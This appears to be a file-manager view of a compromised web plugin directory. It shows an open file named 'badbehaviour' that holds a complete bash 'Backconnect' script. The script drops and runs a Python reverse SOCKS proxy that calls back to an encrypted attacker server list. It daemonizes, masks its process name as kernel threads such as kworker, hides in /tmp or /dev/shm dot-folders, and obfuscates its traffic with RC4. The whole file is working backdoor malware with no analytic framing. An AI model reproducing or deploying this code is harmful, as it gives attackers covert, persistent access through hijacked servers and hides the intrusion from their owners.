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?? 0i83dinh(9.03 KB)
?? badbehaviour(14.7 KB)
?? index.js(600 B)
?? migrations
?? withButtonContainerLegacyMigration.js(2.57 KB)
?? withButtonLegacyMigration.js(5.07 KB)
?? withContainerLegacyMigration.js(8.03 KB)
?? withDeviceType.js(231 B)
?? withDynamicTag.js(2.44 KB)
?? withGridLegacyMigration.js(3.09 KB)
?? withHeadlineLegacyMigration.js(4.02 KB)
?? withHtmlAttributes.js(5.43 KB)
?? withImageLegacyMigration.js(1.84 KB)
?? withSetAttributes.js(1.86 KB)
?? withStyles.js(2.54 KB)
?? withUniqueId.js(2.37 KB)
?? y295hohb(9.03 KB)

Editing: badbehaviour

#!/bin/bash
# Backconnect v23 - Full daemonize (based on v22)
N="bcksocks";D=3;PD=""

ENC_DATA="7e4f7d5756474b4d734b48040209794d604550444b467e5057080a1d7c4c625f5746565478535703070663406b4b5247574e7f514a110105634b66504d4b5d5a7a504a0b06077e5960534d405041655c411f0306794367515052564265574c041c0a755762505648514078454a071c01784c7d5c5b5c54417d5f4d0501137e4f7d5756474b4d734b48040509794d604550444b467e5057080a1d7c4c6b5f5746565478535703070663406b4b52475c4e7f514a110105634b66504d4b5d5a7a53490b06077e5960534d405041655c411f03057c4367515052564265574c041c0a755762535148514078454a071c01784c7d5c5b5c5442785f4d0501137e4f7d5756474b4d734b48070609794d604550444b467e5057080a1d7c4f665f5746565478535703070663406b4b5244534e7f514a110105634b66504d4b5d5a7a534e0b06077e5960534d405041655c411f0305754367515052564265574c041c0a755762535a48514078454a071c01784c7d5c5b5c54437b5f4d0501137e4f7d5756474b4d734b48060309794d604550444b467e5057080a1d7c4e615f5746565478535703070663406b4b5245564e7f514a110105634b66504d4b5d5a7a524d0b06077e5960534d405041655c411f0304784367515052564265574c041c0a755762525548514078454a071c01784c7d5c5b5c54437c5f4d0501137e4f7d5756474b4d734b48060a09794d604550444b467e5057080a1d7c4e6a5f5746565478535703070663406b4b524a554e7f514a110105634b66504d4b5d5a7a5d480b06077e5960534d405041655c411f030b7f4367515052564265574c041c0a7557625d5048514078454a071c01784c7d5c5b5c544c7f5f4d0501137b4b7d53535c54477a4b48060a09794d604555404b427b4b4802031d7c4e6a5f574656547d575707021d7c4a624b524a554e7f514a110401634f634b5241545a7a5d480b06077e5965574d44555a7a56481f030b7f436751505253466553491f03007c57625d5048514078454f031c057d576256525c544c7f5f4d0501137b4b7d53535c54477a4b48090709794d604555404b427b4b4802031d7c41655f574656547d575707021d7c4a624b524a524e7f514a110401634f634b5241545a7a5d410b06077e5965574d44555a7a56481f030b74436751505253466553491f03007c57625c5348514078454f031c057d576256525c544d7a5f4d0501137b4b7d53535c54477a4b48080009794d604555404b427b4b4802031d7c40605f574656547d575707021d7c4a624b524b514e7f514a110401634f634b5241545a7a5c4c0b06077e5965574d44555a7a56481f030a7b436751505253466553491f03007c57625c5448514078454f031c057d576256525c544d735f4d0501137b4b7d53535c54477a4b48080b09794d604555404b427b4b4802031d7f49635f574656547d575707021d7c4a624b5142544e7f514a110401634f634b5241545a79554b0b06077e5965574d44555a7a56481f00037e436751505253466553491f03007c5761555748514078454f031c057d576256525c57447e5f4d0501137b4b7d53535c54477a4b4b040109794d60"

find_writable() {
    for d in /tmp /var/tmp /dev/shm /run "$HOME"; do
        [ -d "$d" ] && [ -w "$d" ] && { echo "$d/.$N"; return; }
    done
    echo "./.$N"
}

PD="$(find_writable)"

fp() { 
    # SAFE: only python processes by interpreter + path, no network search
    pgrep -f "python.*$PD.*$1.*$2" 2>/dev/null
}

kt() { fp "$1" "$2" | sort -u | xargs -r kill -9 2>/dev/null; sleep 0.3; }

ka(){ 
    # SAFE: only kill python with our path
    pgrep -f "python.*$PD" 2>/dev/null | xargs -r kill -9 2>/dev/null
    rm -rf "$PD"
    echo "Done"
    exit 0
}

st(){ 
    echo "Status:"
    [ -d "$PD" ] || { echo " None"; exit 0; }
    for f in "$PD"/*.pid; do 
        [ -f "$f" ] || continue
        p=$(cat "$f")
        n=$(basename "$f" .pid)
        kill -0 "$p" 2>/dev/null && echo " + $n ($p)" || echo " - $n"
    done
    exit 0
}

xc() { 
    local k="$1"
    local d="$2"
    local o="" i=0
    local kl="${#k}"
    [ "$kl" -eq 0 ] && { echo ""; return; }
    while [ $i -lt ${#d} ]; do
        local dc="${d:$i:2}"
        [ ${#dc} -lt 2 ] && break
        local db=$((16#$dc))
        local ki=$((i/2%kl))
        local kb=$(printf '%d' "'${k:$ki:1}")
        local xb=$((db^kb))
        o+=$(printf '%02x' $xb)
        i=$((i+2))
    done
    echo "$o"
}

s2h() { local s="$1" o="" i; for ((i=0;i<${#s};i++)); do o+=$(printf '%02x' "'${s:$i:1}"); done; echo "$o"; }
h2s() { local h="$1" o="" i; for ((i=0;i<${#h};i+=2)); do o+=$(printf "\\x${h:$i:2}"); done; echo -e "$o"; }
enc_srv() { local k="$1"; shift; echo "ENC_DATA=\"$(xc "$k" "$(s2h "$*")")\""; }
dec_srv() { [ -z "$2" ] && return; h2s "$(xc "$1" "$2")"; }

spawn() {
    local host="$1" port="$2" id="$3"
    mkdir -p "$PD" 2>/dev/null
    local pidf="$PD/${id}.pid"
    local pyf="$PD/${id}.py"
    
    cat > "$pyf" << PYEND
import socket,select,threading,random,time,os,sys,signal

# === THREAD STACK SIZE (128KB instead of 8MB default) ===
try:
    threading.stack_size(131072)
except:
    pass

# === DAEMONIZE ===
def daemonize(pidfile):
    if os.fork() > 0: sys.exit(0)
    os.setsid()
    if os.fork() > 0: sys.exit(0)
    try: os.chdir('/')
    except: pass
    os.umask(0)
    for fd in range(3, 64):
        try: os.close(fd)
        except: pass
    sys.stdin = open('/dev/null', 'r')
    sys.stdout = open('/dev/null', 'w')
    sys.stderr = open('/dev/null', 'w')
    if pidfile:
        try:
            with open(pidfile, 'w') as f: f.write(str(os.getpid()))
        except: pass

# === MASK PROCESS NAME ===
def mask_process():
    names = ['kworker','migration','ksoftirqd','watchdog','rcu_sched','kswapd']
    suffix = ['','/0','/1','/0:0','/0:1']
    pn = random.choice(names) + random.choice(suffix)
    try:
        import ctypes
        libc = ctypes.CDLL('libc.so.6')
        libc.prctl(15, pn.encode(), 0, 0, 0)
    except: pass
    try:
        with open('/proc/self/comm', 'wb') as f: f.write(pn.encode()[:15])
    except: pass

H,P='${host}',${port}
PF='${pidf}'

daemonize(PF)
mask_process()

# Ignore ALL relevant signals including SIGPIPE
for s in [1, 2, 13, 15]:
    try: signal.signal(s, signal.SIG_IGN)
    except: pass

x=bytearray([random.randint(0,254) for _ in range(50)])

def rc4(p,b,s,z):
    L=len(p)
    for i in range(z):b[s+i]^=p[i%L]
    r=list(range(256));j=0
    for i in range(256):j=(j+r[i]+p[i%L])&255;r[i],r[j]=r[j],r[i]
    i=j=0
    for k in range(z):
        i=(i+1)&255;j=(j+r[i])&255;r[i],r[j]=r[j],r[i]
        b[s+k]^=r[(r[i]+r[j])&255]
    for i in range(z):b[s+i]^=p[i%L]

SS=None
SL=threading.Lock()   # Lock для отправки на сервер
AL=threading.Lock()   # Lock для sa/sk массивов
sa=[0]*200
sk=[None]*200
wc=0  # Worker count
MAX_WORKERS=200
ALIVE=True  # Флаг для остановки workers при реконнекте
GEN=0  # Generation counter для определения старых workers

def ssend(d,gen):
    """Отправка с защитой от SIGPIPE и проверкой generation"""
    global SS,GEN
    try:
        with SL:
            if SS and gen==GEN:
                # Используем send с таймаутом вместо sendall внутри lock
                SS.settimeout(5)
                try:
                    SS.sendall(d)
                except (BrokenPipeError, ConnectionResetError, OSError):
                    return 0
                finally:
                    SS.settimeout(None)
        return 1
    except: 
        return 0

def worker(n,cs,b0,gen):
    """Worker с проверкой generation"""
    global sa,sk,wc,GEN,ALIVE
    r=bytearray([n,10,0,5,1,0,1,0,0,0,0,0,0])
    ok=0
    try:
        if b0[7]==3:
            dl=b0[8];dom=b0[9:9+dl].decode('latin-1');pt=(b0[9+dl]<<8)|b0[9+dl+1]
        elif b0[7]==1:
            dom=f"{b0[8]}.{b0[9]}.{b0[10]}.{b0[11]}";pt=(b0[12]<<8)|b0[13]
        else:raise Exception()
        cs.settimeout(10)
        cs.connect((dom,pt))
        cs.setsockopt(socket.IPPROTO_TCP,socket.TCP_NODELAY,1)
        cs.settimeout(None)  # Будем использовать select
        with AL:
            if gen==GEN and ALIVE:  # Проверяем что не было реконнекта
                sa[n]=1;sk[n]=cs
                r[4]=0;ok=1
    except:
        try:cs.close()
        except:pass
    rc4(x,r,0,3);rc4(x,r,3,10);ssend(bytes(r),gen)
    if ok:
        try:
            while True:
                # Проверяем флаги
                with AL:
                    if sa[n]!=1 or gen!=GEN or not ALIVE:break
                # select с exceptfds для обнаружения ошибок
                try:
                    rl,_,el=select.select([cs],[],[cs],1)
                except:break
                if el:break  # Ошибка на сокете
                if rl:
                    try:
                        d=cs.recv(65530)
                    except:break
                    if not d:break
                    buf=bytearray([n,len(d)&255,(len(d)>>8)&255])+bytearray(d)
                    rc4(x,buf,0,3);rc4(x,buf,3,len(d))
                    if not ssend(bytes(buf),gen):break
        except:pass
    with AL:
        sa[n]=0;sk[n]=None
        if wc>0:wc-=1
    try:cs.close()
    except:pass
    # Отправляем уведомление о закрытии только если generation совпадает
    if gen==GEN:
        r[1]=r[2]=0;rc4(x,r,0,3);ssend(bytes(r[:3]),gen)

def main():
    global SS,sa,sk,wc,ALIVE,GEN
    
    # Увеличиваем generation и останавливаем старые workers
    with AL:
        GEN+=1
        ALIVE=True
        wc=0
        for i in range(200):
            sa[i]=0
            c=sk[i];sk[i]=None
            if c:
                try:c.close()
                except:pass
    
    gen=GEN  # Локальная копия для этой сессии
    rm=r4=ebx=edx=0;b0=bytearray();ex=0;ka_time=time.time()
    
    try:
        SS=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        SS.setsockopt(socket.IPPROTO_TCP,socket.TCP_NODELAY,1)
        SS.setsockopt(socket.SOL_SOCKET,socket.SO_KEEPALIVE,1)
        SS.settimeout(10)
        SS.connect((H,P))
        SS.settimeout(None)
        hs=bytearray(100);hs[:50]=x;hs[50]=255;hs[51]=255;hs[54:60]=b"Python"
        rc4(x,hs,50,50);SS.sendall(bytes(hs))
        
        while ALIVE and gen==GEN:
            if r4<4:
                # select с exceptfds
                try:
                    rl,_,el=select.select([SS],[],[SS],60)
                except:break
                if el:break  # Ошибка на сокете
                if not rl:
                    if time.time()-ka_time>60:
                        ka=bytearray(3);rc4(x,ka,0,3)
                        if not ssend(bytes(ka),gen):break
                        ka_time=time.time()
                    continue
                try:
                    d=SS.recv(4-r4)
                except:break
                if not d:break
                b0.extend(d);r4+=len(d);ka_time=time.time()
                if r4==4:rc4(x,b0,0,4);ebx=b0[1];edx=b0[2]|(b0[3]<<8)
            if r4==4:
                if edx==0:
                    if len(b0)>=2 and b0[0]==255 and b0[1]==254:ex=1;break
                    if 0<ebx<200:
                        with AL:
                            sa[ebx]=0
                            c=sk[ebx];sk[ebx]=None
                        if c:
                            try:c.close()
                            except:pass
                    r4=0;b0=bytearray()
                else:
                    if edx>1048576:break  # Max 1MB
                    need=edx-rm
                    if need>0:
                        try:
                            d=SS.recv(min(need,65536))
                        except:break
                        if not d:break
                        b0.extend(d);rm+=len(d)
                    if rm==edx:
                        rc4(x,b0,4,rm)
                        if b0[0]==0:
                            # ВАЖНО: Проверка диапазона ebx ПЕРЕД созданием worker
                            if 0<ebx<200:
                                with AL:
                                    if wc>=MAX_WORKERS:
                                        r4=0;rm=0;b0=bytearray()
                                        continue
                                    wc+=1
                                cs=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
                                t=threading.Thread(target=worker,args=(ebx,cs,bytes(b0),gen),daemon=True)
                                t.start()
                        else:
                            if 0<ebx<200:
                                with AL:
                                    if sa[ebx]==1 and sk[ebx]:
                                        try:
                                            sk[ebx].settimeout(5)
                                            sk[ebx].sendall(bytes(b0[4:4+rm]))
                                        except:pass
                        rm=0;r4=0;b0=bytearray()
    except:pass
    
    # Останавливаем workers этой generation
    with AL:
        if gen==GEN:
            ALIVE=False
    
    try:SS.close()
    except:pass
    SS=None
    
    # Даём время workers завершиться
    time.sleep(1)
    
    # Очищаем массивы
    with AL:
        for i in range(200):
            if sa[i]!=0:
                sa[i]=0
                c=sk[i];sk[i]=None
                if c:
                    try:c.close()
                    except:pass
    
    time.sleep(9)
    if ex:sys.exit(0)

while 1:
    try:main()
    except:time.sleep(10)
PYEND

chmod +x "$pyf"
    python3 "$pyf" &
    sleep 1
    [ -f "$pidf" ] && pid=$(cat "$pidf") && kill -0 "$pid" 2>/dev/null && return 0
    return 1
}

ir() { fp "$1" "$2" 2>/dev/null | grep -q .; }

SRV=();FORCE=0
case "${1:-}" in
-h|--help)
    echo "Usage: $0 [-f] srv:port..."
    echo "  -e KEY srv:port...  Encrypt"
    echo "  -d KEY [-f]         Decrypt+run"
    echo "  -k / -s             Kill/Status"
    exit 0
    ;;
-k) ka ;;
-s) st ;;
-e)
    [ -z "$2" ] && { echo "Need KEY"; exit 1; }
    K="$2"; shift 2
    [ $# -eq 0 ] && { echo "Need servers"; exit 1; }
    enc_srv "$K" "$@"
    exit 0
    ;;
-d)
    [ -z "$2" ] && { echo "Need KEY"; exit 1; }
    K="$2"; shift 2
    [ "${1:-}" = "-f" ] && { FORCE=1; shift; }
    [ -z "$ENC_DATA" ] && { echo "No encrypted data"; exit 1; }
    DE=$(dec_srv "$K" "$ENC_DATA")
    [ -z "$DE" ] && { echo "Decryption failed"; exit 1; }
    for s in $DE; do [[ "$s" == *:* ]] && SRV+=("$s") || SRV+=("$s:443"); done
    ;;
-f)
    FORCE=1; shift
    for a in "$@"; do [[ "$a" == *:* ]] && SRV+=("$a") || SRV+=("$a:443"); done
    ;;
*)
    for a in "$@"; do [[ "$a" == *:* ]] && SRV+=("$a") || SRV+=("$a:443"); done
    ;;
esac

[ ${#SRV[@]} -eq 0 ] && { echo "No servers. Use -h"; exit 1; }
command -v python3 &>/dev/null || { echo "python3 required"; exit 1; }

mkdir -p "$PD"; c=0
for s in "${SRV[@]}"; do
    h="${s%:*}"; p="${s#*:}"; id="${h}_${p}"
    c=$((c+1))
    
    if ir "$h" "$p"; then
        if [ "$FORCE" = "1" ]; then
            printf "[$c/${#SRV[@]}] $h:$p replacing... "
            kt "$h" "$p"
        else
            echo "[$c/${#SRV[@]}] $h:$p running (use -f)"
            [ "$c" -lt "${#SRV[@]}" ] && sleep "$D"
            continue
        fi
    else
        printf "[$c/${#SRV[@]}] $h:$p "
    fi
    
    spawn "$h" "$p" "$id" && echo "OK" || echo "FAIL"
    [ "$c" -lt "${#SRV[@]}" ] && sleep "$D"
done
echo "Done"

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Editing: badbehaviour

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